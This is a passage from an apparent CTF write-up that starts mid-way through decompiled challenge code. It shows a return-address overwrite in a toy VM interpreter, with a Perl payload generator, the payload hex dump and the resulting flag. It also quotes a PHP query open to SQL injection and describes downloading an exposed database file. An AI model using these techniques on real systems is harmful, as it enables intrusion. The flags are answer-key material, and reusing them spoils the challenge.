    local_128[0] = 0x104d10;
                    /* try { // try from 001024db to 001024df has its CatchHandler @ 0010254a */
    std::basic_filebuf<char,std::char_traits<char>>::basic_filebuf();
                    /* try { // try from 001024ed to 001024f1 has its CatchHandler @ 001024f4 */
    std::basic_ios<char,std::char_traits<char>>::init((basic_streambuf *)local_128);
                    /* try { // try from 00102565 to 001025a1 has its CatchHandler @ 00102743 */
    lVar3 = std::basic_filebuf<char,std::char_traits<char>>::open((char *)(local_228 + 2),0x103039);
    if (lVar3 == 0) {
      std::basic_ios<char,std::char_traits<char>>::clear
                ((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
    }
    else {
      std::basic_ios<char,std::char_traits<char>>::clear
                ((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
    }
    local_248 = &local_238;
    local_240 = 0;
    local_238 = '\0';
                    /* try { // try from 001025c1 to 00102628 has its CatchHandler @ 00102629 */
    std::operator>>((basic_istream *)local_228,(basic_string *)&local_248);
    std::__ostream_insert<char,std::char_traits<char>>
              ((basic_ostream *)std::cout,"Here\'s your first reward : ",0x1b);
    plVar4 = (long *)std::__ostream_insert<char,std::char_traits<char>>
                               ((basic_ostream *)std::cout,local_248,local_240);
    plVar1 = *(long **)((long)plVar4 + *(long *)(*plVar4 + -0x18) + 0xf0);
    if (plVar1 == (long *)0x0) {
      uVar5 = std::__throw_bad_cast();
                    /* catch(type#1 @ 00000000) { ... } // from try @ 001025c1 with catch @ 00102629
                       catch(type#1 @ 00000000) { ... } // from try @ 00102649 with catch @ 00102629
                        */
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
      std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream
                ((basic_ifstream<char,std::char_traits<char>> *)local_228);
                    /* WARNING: Subroutine does not return */
      _Unwind_Resume(uVar5);
    }
    if (*(char *)(plVar1 + 7) == '\0') {
                    /* try { // try from 00102649 to 00102668 has its CatchHandler @ 00102629 */
      std::ctype<char>::_M_widen_init();
      (**(code **)(*plVar1 + 0x30))(plVar1,10);
    }
    std::basic_ostream<char,std::char_traits<char>>::put((char)plVar4);
    std::basic_ostream<char,std::char_traits<char>>::flush();
    if (local_248 != &local_238) {
      operator.delete(local_248,CONCAT71(uStack567,local_238) + 1);
    }
    local_228[0] = 0x104ce8;
    local_128[0] = 0x104d10;
    local_228[2] = 0x104d30;
                    /* try { // try from 001026ae to 001026b2 has its CatchHandler @ 001026b5 */
    std::basic_filebuf<char,std::char_traits<char>>::close();
    std::__basic_file<char>::~__basic_file(local_1b0);
    local_228[2] = 0x104c60;
    std::locale::~locale(local_1e0);
    local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
    *(undefined8 *)
     ((long)local_228 +
     *(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
         std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
    local_228[1] = 0;
    local_128[0] = 0x104c40;
    std::ios_base::~ios_base((ios_base *)local_128);
    goto LAB_00102726;
  }
  std::__ostream_insert<char,std::char_traits<char>>((basic_ostream *)std::cout,"Nope Mate",9);
  plVar1 = *(long **)(std::cout + *(long *)(std::cout._0_8_ + -0x18) + 0xf0);
  if (plVar1 == (long *)0x0) {
    std::__throw_bad_cast();
LAB_001024a4:
    std::ctype<char>::_M_widen_init();
    (**(code **)(*plVar1 + 0x30))(plVar1,10);
  }
  else {
    if (*(char *)(plVar1 + 7) == '\0') goto LAB_001024a4;
  }
  std::basic_ostream<char,std::char_traits<char>>::put(-0x80);
  std::basic_ostream<char,std::char_traits<char>>::flush();
LAB_00102726:
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Also, disassembling Interpreter via objdump from TDM-GCC, I found these things:

  • The data for reg is stored from RSP + 0x08.
  • The data for RAM is stored from RSP + 0x10.
  • reg[0] to reg[3] are initialized to 0 and RAM[0] is initialized to 1.
  • There is a canary at RSP + 0x68.
  • 6 values are pushed and 0x78 is subtracted from RSP in the function prologue, so the return address is stored from RSP + 0xa8.

Not clearly stated, I guessed that the flag can be obtained by entering a program that passes the check of the c instruction.
The check of the c instruction (the function FUN_0010234f) was comparing the given data with "3p1cl337-k3yw0rd" via the function strncmp.
I decided to jump to the code that is executed after passing this check by modifying the return address for the function FUN_00102750 because I thought that creating such long data should be difficult.

The first part of disassembling result of the function FUN_0010234f was:

    234f:   55                      push   %rbp
    2350:   53                      push   %rbx
    2351:   48 81 ec 38 02 00 00    sub    $0x238,%rsp
    2358:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    235f:   00 00 
    2361:   48 89 84 24 28 02 00    mov    %rax,0x228(%rsp)
    2368:   00 
    2369:   31 c0                   xor    %eax,%eax
    236b:   ba 10 00 00 00          mov    $0x10,%edx
    2370:   48 8d 35 8d 0c 00 00    lea    0xc8d(%rip),%rsi        # 3004 <_ZNSt12__basic_fileIcED1Ev@plt+0xdf4>
    2377:   e8 34 fd ff ff          callq  20b0 <strncmp@plt>
    237c:   85 c0                   test   %eax,%eax
    237e:   0f 85 c2 00 00 00       jne    2446 <_ZNSt12__basic_fileIcED1Ev@plt+0x236>
    2384:   ba 19 00 00 00          mov    $0x19,%edx

From this part, I can tell that the address of "the code that is executed after passing the check" is 0x2384.
Also, the prologue of the function changes RSP by some number which leaves 8 when divided by 16.
This means there shouldn't be a stack alignment problem when jumping to the part after this by modifying a return address.

Also, I found that where to return from the function FUN_00102750 is 0x2b0c via Ghidra.
Therefore, subtracting 0x788 from the least 2 bytes of the return address will lead to success. (0x2384 - 0x2b0c = -0x788)
Considering the data layout on the stack, the return address is placed at reg[0x50] to reg[0x53].
0x788 should be subtracted from the least 2 bytes reg[0x50].

(I made a mistake to subtract 0x790 to jump to 0x237c.
It seems that the check via test instruction on 0x237c was passed because the function FUN_00102750 returns 0 when the execution ended without executing the c instruction.)

Now we can subtract 0x788 from the return address if we create the value.
Any 16-bit value can be constructed using RAM[0] (reg[4]), which is initialized to 1, like this:

  1. Initialize "result" to 0 and "value to add" to 1.
  2. If the bitwise-AND of "value to add" and the value to construct is not zero, add "value to add" to "result".
  3. Double "value to add". In other words, add "value to add" to "value to add".
  4. Repeat 2 and 3 until "result" becomes the value to construct.

Here is a program that outputs a program to construct the value in this way when a value is specified:

num_gen.pl
num_gen.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) {
    die "Usage: perl num_gen.pl target_number\n";
}

my $target = int($ARGV[0]);

print "a114";
if ($target > 0) {
    do {
        if ($target & 1) { print "a001"; }
        print "a111";
        $target >>= 1;
    } while ($target > 1);
    print "a001";
}
print "\n";

I added an instruction to subtract the constructed value from the return address to the output of the program and sent this via "Send File" in Tera Term.

00000000  61 31 31 34 61 31 31 31 61 31 31 31 61 31 31 31  |a114a111a111a111|
00000010  61 31 31 31 61 30 30 31 61 31 31 31 61 31 31 31  |a111a001a111a111|
00000020  61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31  |a111a001a111a001|
00000030  61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31  |a111a001a111a001|
00000040  73 80 80 30 0a                                   |s..0.|

As a result, I obtained the flag.

BSNoida{d009e54bdfff4d8cdeeebab05df02280}

Web

Baby Web

An URL of a web page and the files on the server were given.
The web page had a form to enter an ID and it can search for that.

Reading index.php in the given files, I found a part:

      $channel_name = $_GET['chall_id'];
    $sql = "SELECT * FROM CTF WHERE id={$channel_name}";
    $results = $db->query($sql);

However, putting 1 or 1=1 or id as the ID resulted in seeing an error page.

Reading index.php further, I found a part:

        $this->open('./karma.db');

This is suggesting that a file karma.db is at the same directory as the index.php.
According to this, I downloaded http://ctf.babyweb.bsidesnoida.in/karma.db and opened that with TkSQLite.
I found a table named flagsss and the flag was stored there.

BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4}
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0